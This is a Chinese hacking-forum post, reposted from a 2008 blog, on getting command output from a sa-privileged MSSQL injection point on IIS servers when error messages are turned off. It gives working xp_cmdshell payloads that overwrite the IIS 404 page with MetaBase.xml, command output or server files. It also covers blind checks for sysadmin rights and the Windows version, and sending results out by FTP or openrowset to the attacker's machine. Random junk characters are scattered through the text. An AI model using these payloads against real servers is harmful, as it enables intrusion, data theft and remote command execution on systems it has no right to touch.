遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。7 x; M& E' D6 X4 W
1 V- J) a8 I+ W- }2 K
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
/ {: r. ]. b* S3 a; [, r, I" O% S& `' A
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
M& U" o% j7 y3 E
" B$ F+ Y) l* i2 k* T IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm$ i& e4 |) e `3 `
' f3 D' t4 n' L2 M4 r3 v
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
, p" {1 ~0 A; v' x L
& c" X+ m" n, Q' M7 @6 B. P ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。4 v8 b/ q: Q( B* V5 M
3 J6 V2 I6 e- q: p& s+ g 执行命令得到回显7 h1 M) L6 P0 u7 ?
- L3 \: i' i7 p2 X8 P3 i8 t+ Z! [
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--( ^0 x4 K- c- z) B( z/ j
, t5 Y- e4 z& ^! @8 F5 g U) @5 Y
得到文件也shi相同,把文件copy到404b.htm就行了+ ]! V) R( Z0 \% D9 v, ]- C: t
2 U5 S( c( q& k6 N+ I" a by 28ice, 2008/6/26" E8 u! D i" h1 n
9 `& c& K( g4 ^3 ~
摘自 28度的冰* k- g) }& ^) t* _$ Q& o+ F
* q4 W3 j; l3 {7 S6 [: o 盲注判断权限和操作系统版本8 T9 s8 k" R1 m H+ i
0 K. S- t' ?4 k( n n: M h! l 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?5 P$ f; x; Z' h' k/ H
L5 }+ I' } K7 O- O5 x& M4 v
最简单的,可能以用这样的方法:5 Y% b5 ^: y% h8 P5 ]/ \! E
9 t' V) |$ W! e' Z# ~# S+ ~
1=(select IS_SRVROLEMEMBER(’sysadmin’))' d. h& z/ w; Z2 W6 S6 X/ a
, ~8 z# c- D9 Q4 q 当然,有些情况下,这个方法并不奏效。
: r) t9 u: y9 M, z( n; M* [3 E5 ^, t7 G) y# D2 T2 W6 E" l% L
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
: z! o; Y6 Y3 I; u y& s0 M
/ N, b+ `8 p; @. n! V0 G 有个3办法可能以解决这个问题( d) g7 t" V5 W7 m& ^" t' a5 G
4 r- c; [" g& F- `
a.把执行结果写到404b.htm,具体请看我的上一篇文章: D3 H6 P+ ?; S% D7 `6 I3 I
|9 n' \' l0 H b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
9 O, r. r8 {2 V0 y( Q' a" v, e: q) b( Y( U1 R
c.如果1433端口可能以连接,那干脆新建个sql登录: ]- ^* }2 |0 K m& t/ R) v
; N- \1 F3 z* H d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数! k" }, S, i* z C9 c% j) ^
2 J* f4 w4 O- q% U$ N- g6 u
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
% Y5 j% u3 U( T4 f' Q* \% z- n* C- {# v8 n+ w8 g/ n1 W
很简单
( O6 E/ Z1 a' L9 ~
# f0 s0 ^2 f* ]/ x9 G/ K 执行systeminfo
7 D) a; H* k3 D% @( ?
, i4 d+ o9 E: ` 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |